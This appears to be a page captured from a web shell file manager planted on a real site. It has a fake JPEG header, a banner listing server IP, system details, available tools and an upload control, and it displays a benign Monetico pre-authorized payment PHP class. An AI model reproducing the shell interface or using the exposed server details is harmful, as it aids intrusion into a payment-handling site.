ÿØÿà JFIF ` ` ÿþxØ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/computer3/litsolide.com/CE_payment/Monetico/Monetico/Request/ |
Upload File : |
<?php
namespace MoneticoDemoWebKit\Monetico\Request;
/**
* Represents a pre-authorized payment request to the Monetico Payment page.
* This object let you initialize a new pre-authorized payment request and allows you to retrieve
* all the HTML form fields to be included through the method @see getFormFields().
* This class must be used only if your EPT is using pre-authorization payment mode. In other cases,
* use @see PaymentRequest for classic payment
* or @see SplitPaymentRequest for split payment.
*/
class PreAuthorizedPayment extends PaymentRequest
{
/**
* Preauthorization dossier number
* @var ?string
*/
private $numeroDossier;
public function __construct(string $reference, float $montant, string $devise, string $language, OrderContext $contexteCommande, string $numeroDossier)
{
parent::__construct($reference, $montant, $devise, $language, $contexteCommande);
$this->setNumeroDossier($numeroDossier);
}
public function getFormFieldsWithoutMac()
{
$formFields = parent::getFormFieldsWithoutMac();
if (!is_null($this->getNumeroDossier())) {
$formFields["numero_dossier"] = $this->getNumeroDossier();
}
return $formFields;
}
/**
* @return string|null
*/
public function getNumeroDossier(): ?string
{
return $this->numeroDossier;
}
/**
* @param string|null $numeroDossier
*/
public function setNumeroDossier(?string $numeroDossier): void
{
$this->numeroDossier = $numeroDossier;
}
}